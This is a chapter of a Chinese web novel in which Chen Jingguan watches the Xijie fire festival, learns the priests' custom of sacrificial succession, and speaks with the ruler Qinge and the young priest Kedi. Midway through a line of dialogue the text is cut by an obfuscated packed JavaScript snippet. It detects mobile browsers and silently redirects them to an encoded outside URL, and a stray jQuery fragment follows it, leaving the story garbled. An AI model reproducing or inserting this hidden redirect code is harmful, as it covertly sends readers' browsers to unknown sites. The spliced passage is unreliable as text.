第二日清早,陈京观被帐外的孩童嬉闹声吵醒。他的思绪还没有从昨夜的梦中回来,他伸手敛了敛身上的被子,整个人瑟缩在床榻的角落。
不知道过了多久,正当他要再次入睡时,门口有人轻声喊了一句“少将军”。
自从朔州一战后,陈京观已经很少再听到这个名号了,那些将他奉为少将军的人没了,他这个名号也随着那些人葬在了泯川江畔。
席英他们几个平日里习惯了叫他的名字或者唤他兄长,此时这突如其来的一句“少将军”彻底唤醒了陈京观。
陈京观应了一声”谁“,帐外的人没有回答,他虽心有疑虑却依旧起身随手抄起一件披风挂在肩上。他站在帐帘旁犹豫片刻,伸手掀起了帘子。
“何事?”
眼前是一个陌生男子,陈京观四下张望着发觉周围的人都没有感觉异常,而眼前的男子恭敬地朝他行礼道:“在下科迪,西芥现任祭司。”
陈京观了然地点头,向科迪行了一遍西芥的礼数。他在西芥待了这许多天,如果不是平日与他亲近的人,或许真的会只凭外貌错把陈京观当作西芥人。
“少将军客气,没想到短短几个月您就入乡随俗了。”
科迪语气里的情绪被陈京观敏锐地捕捉到,但他没有应声,只听科迪继续道:“今日祭火节我是主祀,往常我们部落的人是不可以随便离开封地的,所以久闻少将军大名,今日才得以一见。”
科迪客气地向陈京观表明由来,陈京观笑着应和道:“那该是我要去拜访祭司,怎的劳烦您跑一趟,我毕竟是客。”
科迪笑着没有说话,陈京观瞧出他意味不明的笑里还有其他意思,不过既然科迪没有要点破的意思,陈京观也只好装作什么都不知道。
“那您先去圣火池,待我收拾一下就过去。”
科迪应了一声“好”,临走时又一步三回头地看着陈京观。
陈京观没有从他的表情中看出恶意,却也被这突如其来的关注扰乱了心绪,他急匆匆去屋子里洗了把脸,出门时在后腰别了一把匕首,还带上苏清晓给他准备的面纱。
今天是十二月二十三,西芥传统的祭火节,也是西芥的新春。若按常理陈京观这些外乡人是不可以靠近圣火的,可沁格即位后废除了所有等级划分,以此方便其他地方的人迁徙到西芥,他们沾了这些外商的光获得了进入圣火池的资格。
今年的祭火节比往常都更加盛大,沁格在准备的初期就下定决心,要将这次祭火节办成宣扬西芥威严的盛典,她要告诉天下,她掌着的西芥是真正的圣土,是外族人休想踏入一步的家园。
陈京观走出帐子时圣火池附近已经人山人海,他顺手提了一下挂在自己鼻梁上的面纱,还没等他继续动作,身后突然有声音响起。
“别吉给我们留了位置,我们不去中心区。”
苏清晓轻声道,陈京观点头跟在了他身后。二人逆着人群逐渐走到牧区的边缘,陈京观瞧见了等在那里的陆栖野,席英和平芜。
“你等会儿就走?”
陆栖野仔细端详了一下带着覆面的陈京观,嘴角沁出一抹笑,他点了点头应道:“嗯,点火仪式结束就走,我和父亲商量好明日出发回澄州。”
陈京观“嗯”了一声,却看到陆栖野继续看着自己,“我不是圣火。”
陈京观身旁的苏清晓和席英对视着轻笑了一声,陆栖野故作认真地答道:“我知道啊,不过很少见你这幅装束,你别说还真有点江湖上神秘侠士的味道。”
陈京观无奈地瞥了陆栖野一眼,又将自己的面纱紧了紧。
“今日人多眼杂,虽说沁格加大了身份筛查,可保不定会混进来什么奇怪的人。我现在还是死人,不能太张扬。”
“谨慎些是好的,”陆栖野应道,说完他朝不远处看去,望见一身华服的科迪已经走到了台上,“要开始了。”
陈京观顺着陆栖野的目光看过去,方才那个羞怯着给自己行礼的少年人此时双手各执一个圣器,乌黑的头发散落下来与玄色的袍子融为一体,他脸上画了几道陈京观看不懂的符号,倒是给他增加了神圣感。
陈京观望着科迪有些出神,陆栖野连叫了他几声他都毫无反应,直到那把火点燃了高高束起的柴堆,一瞬间紫烟升腾上天,科迪所在的方向传来低沉的咒语声。
“祭司,真的会在做法事的时候被附身吗?”
陈京观自言自语道,他只觉得科迪的转变让他兴致盎然。他看着科迪绕着圣火池起舞,沁格高坐在宝座上头顶王冠,科迪经过时沁格时慢慢停下,手上的圣器相互击打发出清脆的“叮叮”声,三下之后沁格睁开双眼,科迪将迟到的圣水点在了沁格的额头。
陈京观所在的位置听到他们在说什么,他只看到沁格的动作稍微停顿了一下,但这细小的动作没有影响庆典的顺利进行,科迪朝沁格跪拜后继续着自己的祭词。
约莫半个时辰,整个点火仪式顺利结束,此时一轮骄阳从地平线升起,在科迪最后一次敲击圣器的尾声,那太阳彻底定在了天边,地上的烈焰和空中的烈焰交相呼应。
“看起来像是结束了,”席英意犹未尽地说着,“不愧是唯一保留巫术的民族,这样的典礼的确摄人心魄。”
“不过这应该是科迪第一次做主祀。”
苏清晓在一旁道,席英问,“为什么这么说?”
“他的袍子下摆只有一道金边,西芥的祭司每主持一次就会亲手绣上一道金边。”
“那之前的祭司呢?”
苏清晓看了陈京观一眼,席英也将目光定在了陈京观身上。
此时的陈京观对早上科迪的反应猜到了一些,但他觉得那不是全部。
“西芥的祭司部落,每一位主祀会在四十三岁的时候将自己送还给上天,之后就会由新的主祀来接替他们的位置。”
“送还上天?”
席英欲言又止,陈京观点头应下了她的猜想。
“天葬,让活人躺在献祭台上等待自然凋亡,他右手的圣器就是他父亲的胫骨。”
“胫骨……”平芜脸上表情变得微妙,他方才还同席英一样对西芥的风俗饶有兴趣,现在被这习俗背后的故事一惊,“这,合天理?”
陈京观叹息道,“西芥的祭司拥有仅次于首领的地位,而且是这好战的民族中唯一一个永远不会被战乱侵袭的存在。他们自诩窥看天机太久,到一定岁数就要将自己还给上天赎罪。”
陈京观这番解释之后,原本盛大的祭火节变成了一个又一个祭司的墓碑,那时升上天空的紫烟仿佛就是他们远离人世的灵魂。
“算了,尊重他人的文化,但是对此保持我自己的态度。”
席英嘟囔了一句,苏清晓笑着转头看她,“什么态度?”
“理解但不支持。”
苏清晓和陈京观对视一眼没有说话,半晌后圣火池边的人慢慢散开,陈京观瞧见沁格回到了自己的营帐,而萧祺栩在四处寻找他们的身影。
“走吧,记得不要把自己的情绪表现的太明显。”
陈京观说完后席英和平芜应了一声,一行人跟在陈京观身后绕过集结在一起的人群,从最外围回到了牧区中心。
“你们来了。”
陈京观掀开帘子,沁格正在擦拭那顶王冠,她身边站着科迪,他望见陈京观后朝他微微点头示意。
“方才的祭火节都看了?”
陈京观道:“盛大,庄严,神秘,今日一见果然不负盛名。”
沁格轻笑一声,她背对着陈京观,陈京观看不到她的表情。
“你当真是这么想的?”
陈京观笑而不语,沁格转身后慢慢走近他,“你从来都不会撒谎。”
“是我愚笨。”
陈京观脸上笑意难掩,沁格招呼跟在他身后的人坐下,科迪依旧不紧不慢地跟在沁格身侧。
“你应该知道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15222793|146751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
祭火节和这背后的故事,你当真觉得这是一场盛典?”
沁格说话时若有所思,仿佛她是在问她自己,陈京观没有立刻回应,他朝席英点了点头,席英明了了他的意思。
“别吉,这些日子我在西芥多与您亲近,我将您当作是姊妹,可算冒犯?”
“当然不算。初见时我就敬小将军是巾帼英雄,甚至还曾羡慕过您。”
沁格笑着回道,席英微微点头以示回礼,“那您方才问兄长的话,我能回答吗?”
沁格点头,席英继续道,“我不认为存天理灭人欲的神真的能给人带来希望和力量。”
席英此话一出,整个帐子仿佛隔绝了外界的喧闹,只剩下帐中的柴火哔啵作响,沁格沉默不语,陈京观瞧着她身边的科迪也低着头。
“主祀大人,”席英起身朝科迪行礼,“您方才的祭祀仪式堪称绝妙,在我不知道背后的一切之前,我只觉得叹为观止。”
“那现在呢?”
“惨无人道。”
沁格感觉到身后的科迪朝后退了一步,他在典礼结束后重新束起了长发,此时清晰可见一个少年的样子。
“您特许我们参与祭火节,想必是想让我们以旁观者的角度看一看西芥最盛大的风俗,可您这么做,对外人是炫耀,对我们应该不是。”
席英目光灼灼言辞恳切,沁格缓缓点头道:“各位都是聪明人,我今日之所以能将西芥的隐痛掀起来给你们看,是因为我真的拿你们做了朋友。昨日陆少主说北梁有沉疴,我想该是匪兵四起?那我西芥也同样有自己的隐疾,这隐疾若是处理不当,西芥将一朝覆灭。”
沁格停顿片刻继续道:“我西芥以宗法立国,崇尚天道,信奉长生天和永夜玄鸟,我们祖祖辈辈以天命为根基,可阿布之死暴露了巫医弊端,阿哈之伤暴露了天命选任之祸,此类种种是天命还是人命,是无能为力还是一叶障目,我思虑良久,终不得法。”
沁格说到这长叹一口气,她侧过身看了看科迪,瞧见他缩着身子一言不发,他手上还带着兹察去献祭台前为他做的藤木戒指,少年人下意识转动着手指上的戒指,半张脸隐匿在阴影处。
陈京观从沁格说这番话开始就一直在观察科迪,他离开圣火池后像是被抽走了灵魂,此时如同沁格的影子一般与她形影不离。
“主祀大人,您早上还有话没和我说完吧?”
科迪抬头,陈京观笑着问他,“如果不方便,我们可以出去说。”
沁格转身看了科迪一眼,显然她并不知道科迪私下见过陈京观的事情,科迪沉默片刻后点头道:“那就麻烦少将军了。”
离开帐子前,陈京观看了席英一眼,席英知道了他的意思,支走了屋里其他几个人,只留下了自己和沁格。
“少将军,”科迪叫住了陈京观,“我知道恪多首领许过您与别吉的婚约,我不知道那时的您为何拒绝她。我只想问您一句,您现在愿意吗?”
陈京观摇头道:“别吉应该和自己喜欢的人在一起。”
科迪动作一滞,“可她如果断掉了西芥与天道的联系,那就得用其他的联系续上。比如如你们汉人一般,靠血脉。”
陈京观没有说话,科迪看了他一眼继续道:“别吉下个月就二十四岁了,且不论她要不要修改天道治国的根基,她这个年龄即使是以往的男子当首领,也会被强求留下宗族血脉的。”
所以穆云山才会说在他凯旋后娶她为妻。
陈京观恍惚了一瞬,那些压在心底的回忆涌了上来,可他很快恢复理智,回答道:“那也不该是我,别吉与我在一起只会受到更大阻力。”
科迪意外沉默了,陈京观朝他走近,缓缓靠近他的耳边,“主祀大人说这么多,再加之早上的突然来访,其实是想确认我会不会为了西芥的兵马趁火打劫求娶别吉。”
陈京观顿了顿,“祭火节上我没听到的那句话,是你在告诉别吉你喜欢她,对吗?”